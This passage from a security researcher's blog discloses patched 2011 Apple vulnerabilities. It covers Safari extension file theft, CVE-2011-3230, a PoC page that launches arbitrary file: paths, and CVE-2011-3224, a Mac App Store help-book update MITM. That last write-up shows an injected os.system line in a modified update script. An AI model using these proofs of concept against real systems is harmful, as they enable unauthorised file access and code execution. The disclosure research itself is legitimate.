<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">Exploiting this bug:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The steps I used to exploit this bug are:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>1. Find the dynamic part of the safari-extension URL</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>2. Find a way to access my payload from inside the Safari sandbox</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>3. Load my payload, and use it to execute the Javascript in the context of the extension</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>4. This Javascript access any file accessible to the extension, or access resources available to the extension (think Javascript accessible databases).</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Some details of how my proof of concept accomplishes this:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The first step in exploiting this issue is to obtain the 32bit id. For 1Password's extension I accomplished this with a Javascript that causes it to inject an iframe into the current page. The src attribute is readable via document.getElementById().getAttribute("src"), which contains this value.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Once the attacker has this value, arbitrary paths to files readable by Safari's sandbox are reachable. Additionally useful to the attacker is that no usernames have to be guessed in order to access files in the user's home directory. This is because paths to files in the URL are relative to:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<div style="text-align: center;">
<span class="Apple-tab-span" style="white-space: pre;"> </span> ~/Library/Caches/com.apple.Safari/Extensions/[extension_name]/</div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<div style="text-align: center;">
<br /></div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Our goal is to start evaluating arbitrary Javascript with the privileges of the Safari Extension. After watching how Safari downloads files, I found that Safari's sandbox'ed process pokes a hole in the sandbox to allow read access on files while they are being downloaded. These are download bundles that have no unpredictable path components and are created in ~/Downloads. This meant that loading the attacker's Javascript was as simple as pushing a file download to Safari (Insert shout out to Nitesh Dhanjani whose Safari Carpet bombing technique still works in Lion and fully patched version of Safari) and loading it in an iframe. To make sure I could access the file while it was being downloaded, I just made a large file. At a couple of megabytes, the temporary download bundle reliably existed when and where I needed it to.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
At this point the Javascript included in the download executed in the safari-extension zone.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">What can be done on Mac OS X:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Execution of arbitrary Javascript in the web context of installed extensions, which includes,</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Access to the safari object in the web content, exposing the SafariContent classes</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Full SQL access to extensions' client-side databases</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Access to any files that WebProcess.app, Safari's sandboxed process can read, which includes, </div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Files opened by Safari during this process's life</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Local files in loaded extensions</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Other files being downloaded by Safari</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Safari's Cache database</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Safari's Local Storage databases</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Safari's HTML5 Offline Applications</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* User Keychain files</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* Quarantined application event logs</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>* DYLD shared cache/maps</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">What can be done on Windows:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Apple's Safari Extensions website claims that they are sandboxed. This was verified when accessing the site with Safari for both Mac OS X and Windows 7. However unlike Mac OS X, successful exploitation on Windows can access files wherever the user can read. It seems that sandboxing is either not implemented for Safari on Windows 7 or that the sandboxing does not limit file reading. </div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">What this means:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* On Mac OS X, Safari's sandbox still allows access to a bunch of sensitive and useful data</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* On Windows, sandboxing does not limit the files accessible to the attacker (if sandboxing occurs at all)</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Sandbox limits the badness that can be done with Safari exploits on Mac OS X. Hopefully Safari will adopt more process separation to further limit the damage possible from vulnerabilities.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">Shout outs:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
cstone, cykyc, Nitesh Dhanjani, jduck, KF</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">References:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Apple's advisory:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> <a href="http://support.apple.com/kb/HT5000">http://support.apple.com/kb/HT5000</a></span></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Previous Safari file stealing vulnerability, Safari ErrorJacking:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>http://vttynotes.blogspot.com/2011/03/safari-errorjacking-cve-2011-0167.html</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>* Apple's documentation on accessing resources inside Safari Extensions:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>http://developer.apple.com/library/safari/#documentation/Tools/Conceptual/SafariExtensionGuide/AccessingResourcesWithinYourExtensionFolder/AccessingResourcesWithinYourExtensionFolder.html</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-80576509085362621072011-10-12T11:36:00.000-07:002011-10-12T15:16:17.976-07:00CVE-2011-3230 - Launch any file path from web page<div style="text-align: center;">
CVE: CVE-2011-3230</div>
<div style="text-align: center;">
Found By: Aaron Sigel</div>
<br />
There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.<br />
<br />
<br />
<br />
<center> <table><tbody>
<tr> <td bgcolor="black"><span style="color: white;"> </span><br />
<pre><span style="color: green;"><html>
<head>
<base href="file://">
<script>
function DoIt() {
alert(document.getElementById("cmdToRun").value);
document.location=document.getElementById("cmdToRun").value;
}
</script>
</head>
<body>
<select id="cmdToRun">
<option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
<option value="/etc/passwd">Launch /etc/passwd</option>
<option value="/Applications/Utilities/Bluetooth File Exchange.app">
Launch Bluetooth File Exchange.app</option>
</select>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />
</body>
</html>
</span></pre>
<span style="color: white;"> </span> </td> </tr>
</tbody></table>
</center><br />
<br />
Apple's advisory: <a href="http://support.apple.com/kb/HT5000">http://support.apple.com/kb/HT5000</a>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com15tag:blogger.com,1999:blog-5783873584893336688.post-75870436415800103732011-10-12T11:35:00.002-07:002011-10-12T15:16:08.257-07:00CVE-2011-3224 - MITM to RCE with Mac App Store<br />
<div style="text-align: center;">
CVE: CVE-2011-3224</div>
<div style="text-align: center;">
Found By: Aaron Sigel and Brian Mastenbrook</div>
<div style="text-align: center;">
<br /></div>
<b>Note: </b><br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>We have attempted to fully explain how these bugs work below. Since we expect that's too remedial for some of you, here's the summary…<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>1. Help files from the Mac App Store contain AppleScript and Python payloads that can be MITMed during autoupdate resulting in execution of arbitrary commands for a remote attacker<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>2. When updating help, the Mac App Store insecurely writes and accesses locations in "/tmp/" with guessable filenames, which could result in local cross-user attacks<br />
<br />
<b>Affected Software:</b><br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Mac OS X v10.6.*,<strike> Mac OS X v10.7</strike><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Previous versions may be affected but were not tested.<br />
<br />
<b>The details:</b><br />
<br />
Man-in-the-middle (MITM) bugs are well known to security researchers and often lead to information disclosure that can result in session hijacking or leaking personal information. MITM attacks that result in execution of arbitrary commands on a victim's computer seem less common. This was not always the case. It used to be fairly common to see applications that had built in update mechanisms not bothering to use any secure method to grab new code. These days it is expected that new code will be validated with some form of cryptographic mechanism or be provided to the user over a secure channel before being executed. Without these safeguards in place it would be possible for attackers to hijack the update unless you had a fully trusted network connection between your computer and the vendor. Since that is not the case most of the time, most reputable software vendors implement these mechanisms to protect their updates. Unfortunately, this is not always done on Mac OS X when help books are updated.<br />
<br />
When the Mac App Store help book is opened, the help subsystem attempts to make sure that the documentation being displayed is the latest and greatest available. This is accomplished by a Python script that is distributed as part of the help book. Here's a snippet from the script:<br />
<br />
<br />
<center> <table><tbody>
<tr> <td bgcolor="black"><span style="color: white;"> </span><br />
<pre><span style="color: green;">
# get the version number from the server
serverVersionURL = serverBaseURL + "helpbook-version.txt"
serverVersion = NSString.stringWithContentsOfURL_encoding_error_
(NSURL.URLWithString_(serverVersionURL), NSUTF8StringEncoding, None)
serverVersion = serverVersion[0]
# get the local version number
localVersionURL = directoryPath + "helpbook-version.txt"
localVersion = NSString.stringWithContentsOfFile_encoding_error_
(localVersionURL, NSUTF8StringEncoding, None)
localVersion = localVersion[0]
# show the help if we do have the latest help
if serverVersion == localVersion:
with open(statusFilePath, 'w') as statusFile:
statusFile.write("NO_UPDATE_AVAILABLE")
exit()
</span></pre>
<span style="color: white;"> </span> </td> </tr>
</tbody></table>
</center><br />
As you can see, if the version of the help document on the server is not the same as the local version, the update script will believe an update is available. Note that the help book version file is not signed in any way:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDVlhK4-iokb3SshbdR5W5Wylo1aTRh3eh3hIrMKnwIVvIKY9hf2RnSZVRP1yf6qrbMncSwJgW9DN5RDU2MP4QuPr165wj18zF2Fz6WtqV8YYn8L9QtoQxN_dKo5veBpp43jmpCBld1iA/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="15" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDVlhK4-iokb3SshbdR5W5Wylo1aTRh3eh3hIrMKnwIVvIKY9hf2RnSZVRP1yf6qrbMncSwJgW9DN5RDU2MP4QuPr165wj18zF2Fz6WtqV8YYn8L9QtoQxN_dKo5veBpp43jmpCBld1iA/s640/1.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwUGW1iZ4qRHQvoxxJ9YUvgt399Ly8yz5IDp75h7yG2ZaGtMqQPCA8Ch2xqiqoH2FQz5BdZl0lEsXNR9Waa3-wRaS7KU49jAQWBxcqAttU8lVmP-29zZyUY-ySXATdrxhy5I_GpoI5rM0/s1600/2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwUGW1iZ4qRHQvoxxJ9YUvgt399Ly8yz5IDp75h7yG2ZaGtMqQPCA8Ch2xqiqoH2FQz5BdZl0lEsXNR9Waa3-wRaS7KU49jAQWBxcqAttU8lVmP-29zZyUY-ySXATdrxhy5I_GpoI5rM0/s640/2.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
<br />
<div>
<div>
By intercepting this request and serving a different version string, it is possible to trigger an auto update. This was tested using Charles Proxy to simulate the MITM in action by mapping the help book version request to serve a local file with a different version in it:</div>
</div>
<div>
<br /></div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4ZsS-Y80WJSaWFu6IczMrrXYub5tp-5RzmwE4dY-iZXQRgymVQLyBHaD6tT2NMSJzBvVfvAm3RN1TQb1KrJorhouSRJON8ctRqCZ5JUvpWZsm8VtL2dUkJ4AQ3SmrWqv5WGcz62BIs9A/s1600/3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="442" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4ZsS-Y80WJSaWFu6IczMrrXYub5tp-5RzmwE4dY-iZXQRgymVQLyBHaD6tT2NMSJzBvVfvAm3RN1TQb1KrJorhouSRJON8ctRqCZ5JUvpWZsm8VtL2dUkJ4AQ3SmrWqv5WGcz62BIs9A/s640/3.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
</div>
</div>
<div>
<br /></div>
<div>
<div>
Content of "silly-version.txt":</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTkKMSvVsmBaLIrGQSk0Ur4CFfYbmJvaJjeNm7ySduPewAtnITzw7l0e5b4FHX63gnFlFlQdiOB-gQFDBSly8NOzJycKUvi21vD8WUrxgbz16kev_PtN4S6GdF1p34VhS41Y2LLfbtnhk/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTkKMSvVsmBaLIrGQSk0Ur4CFfYbmJvaJjeNm7ySduPewAtnITzw7l0e5b4FHX63gnFlFlQdiOB-gQFDBSly8NOzJycKUvi21vD8WUrxgbz16kev_PtN4S6GdF1p34VhS41Y2LLfbtnhk/s1600/4.jpg" /></a></div>
<div style="text-align: center;">
<br /></div>
<br />
After passing this version test, the Python script proceeds to request a new help book archive and installs it. The help book archive "helpbook.zip" is downloaded from the remote server and installed. This new archive contains a full copy of the update script that has been performing this update. Next time an update occurs, our versions of the scripts will be executed. Charles Proxy was also used to demonstrate this part of the attack:<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6M2n0xZ5DKzLvpa33pvqUFj-n9KCh1UhjpXPsFGL5ZO1CPk6Hh5dgqvsn3AGPIoe0Iz1V0B5zTYN9gPiv7u-VDFxJNfyxuRnZRSQJSCv2Adtm1GjRsuGZ5kbUN9TKlI-6dQazdSwj7IY/s1600/5.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="442" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6M2n0xZ5DKzLvpa33pvqUFj-n9KCh1UhjpXPsFGL5ZO1CPk6Hh5dgqvsn3AGPIoe0Iz1V0B5zTYN9gPiv7u-VDFxJNfyxuRnZRSQJSCv2Adtm1GjRsuGZ5kbUN9TKlI-6dQazdSwj7IY/s640/5.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
In this version of "helpbook.zip", the "scripts/updatefrontend.py" script has been modified as follows:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<br />
<center> <table><tbody>
<tr> <td bgcolor="black"><span style="color: white;"> </span><br />
<pre><span style="color: green;">
#! /usr/bin/python
import objc, os, sys
from Foundation import *
+ os.system("open /Applications/Chess.app; /usr/bin/touch /var/tmp/.HelpUpdateRan")
</span></pre>
<span style="color: white;"> </span> </td> </tr>
</tbody></table>
</center><br />
<br />
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
At this point we can see that the help subsystem will install malicious code provided by an attacker. The example above just runs Chess.app and creates a file to demonstrate that unsigned scripts have been executed. As demonstrated below, this is executed the next time that the help book is loaded. Of course it may take a while to happen unless we combine this attack with the "help:" URL scheme, which Safari will launch without any user interaction. Other good targets for attackers to target are "js/javascript.js" and "scripts/updatefrontend.scpt".</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Here's the source of the test page used in the screen capture. </div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<br />
<br />
<center> <table><tbody>
<tr> <td bgcolor="black"><span style="color: white;"> </span><br />
<pre><span style="color: green;">
> cat ladieslove.html
<html>
<body>
<a href="help:openbook=com.apple.AppStore.help">chest rockwell</a>
</body>
</html>
</span></pre>
<span style="color: white;"> </span> </td> </tr>
</tbody></table>
</center><br />
<br />
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
To see all of this in action, play the video below, which shows what happens once Mac App Store help is launched through Safari, triggering the injected Python commands to run:</div>
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dxy4eQw1kdj7s17s8F438A0PH8EIUIt6uW62SgXqMXyj8lQDGugpiAHm6JpEujl8R_SsiI4pYrO9VmxphK54A' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<div style="text-align: center;">
<br />
<span class="Apple-style-span" style="font-size: x-small;">(Sorry blogger's video upload thingy totally messes up the quality of my screen cap vids. If you have questions about how this bug works let me know by posting.)</span></div>
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Also, the file in "/var/tmp" was created, owned by the victim:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhydwJs3HU4X2FL8lzhZEJqodfUJhWG7SHfTaMT6qjAUPw093EuNzcdoICreoa4pJTJ9v6-yJsG8aEGYBRiMg8Ao5VxcI858yqpnQYcjtzzwTkNfraLXRNJRSgBi2gY4FhHMYqGYoCFYlc/s1600/6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhydwJs3HU4X2FL8lzhZEJqodfUJhWG7SHfTaMT6qjAUPw093EuNzcdoICreoa4pJTJ9v6-yJsG8aEGYBRiMg8Ao5VxcI858yqpnQYcjtzzwTkNfraLXRNJRSgBi2gY4FhHMYqGYoCFYlc/s1600/6.jpg" /></a></div>
<div style="text-align: center;">
<br /></div>
</div>
<div>
<br /></div>
<div>
<div>
Constraints and notes about this vulnerability:</div>
<div>
<br /></div>
<div>
1. Help book documents are only accessible via URL after they are registered, which occurs after being opened once. In order for the demonstration above to work, the help book from the Mac App Store must have been opened at least once.</div>
<div>
<br /></div>
<div>
2. This bug is an issue for more applications than just Mac App Store. It is an issue for any application that insecurely transfers help book content or does not validate it in some way before it is executed. Finding the other applications distributed with Mac OS X as part of the base distribution vulnerable to this issue is a (simple) exercise for the reader. An attacker could trigger several help books at once with the hope of infecting just one.</div>
<div>
<br /></div>
<div>
3. This demonstration was noisy and obvious, but an actual attacker could be much sneakier.</div>
<div>
<br /></div>
<div>
Local user attack:</div>
<div>
<br /></div>
<div>
Aside from the issue shown above, there's another far less serious security hole in the update process involving a file in "/tmp" that is insecurely created. When help documentation is checked and updated, the following is done:</div>
<div>
<br /></div>
<div>
1. js/javascript.js creates an update filename: </div>
<div>
<br /></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>update_status_file:"/tmp/apd"+(new Date()).getTime()+"-update-status.txt"</div>
<div>
<br /></div>
<div>
2. This filename is then passed to the update scripts, which write to this file during update.</div>
<div>
<br /></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>setTimeout(function(){var d="help:runscript=/scripts/updatefrontend.scpt";d+=" string='"+location.href+",,,";d+=updateController.update_status_file+",,,";d+=dataController.getSettingsStringForKey("FolderName")+",,,";d+=dataController.getSettingsStringForKey("RemoteURL");d+=localizationController.language+"/'";location=d; ….</div>
<div>
<br /></div>
<div>
This is vulnerable to traditional "/tmp" attacks, such as symbolic-linking the update status file to something the victim can write, and the attacker wants to clobber, create, or fill with a known value. Here's an example of where the Apple Script included in the help book insecurely writes to this file:</div>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzoUTs1IInpaFOsML07CHHgp4z1U8KpvxcPoq_zp2WuXKzt9Tvdx2vsljLpprBwuKHiP0nu2GKez_ro4WBuFZB0fiSG0a6Fr2iFD6W3lH0HR-855F9RnWLvewhyphenhyphenFxFuklu0YteQjEitbg/s1600/7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzoUTs1IInpaFOsML07CHHgp4z1U8KpvxcPoq_zp2WuXKzt9Tvdx2vsljLpprBwuKHiP0nu2GKez_ro4WBuFZB0fiSG0a6Fr2iFD6W3lH0HR-855F9RnWLvewhyphenhyphenFxFuklu0YteQjEitbg/s640/7.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Fix:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Apple has addressed these issues in Security Update 2011-006. It can be installed via Software Update.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Conclusion:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
1. Apple should have signed and validated this code, or at the very least made sure that the help book was sent over a secure channel. Apple should scan all other help books they provide for variants of these issues. Apple should also reach out to third-party developers to help them avoid these same mistakes.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
2. Install the security update that addresses this issue.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Reference:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
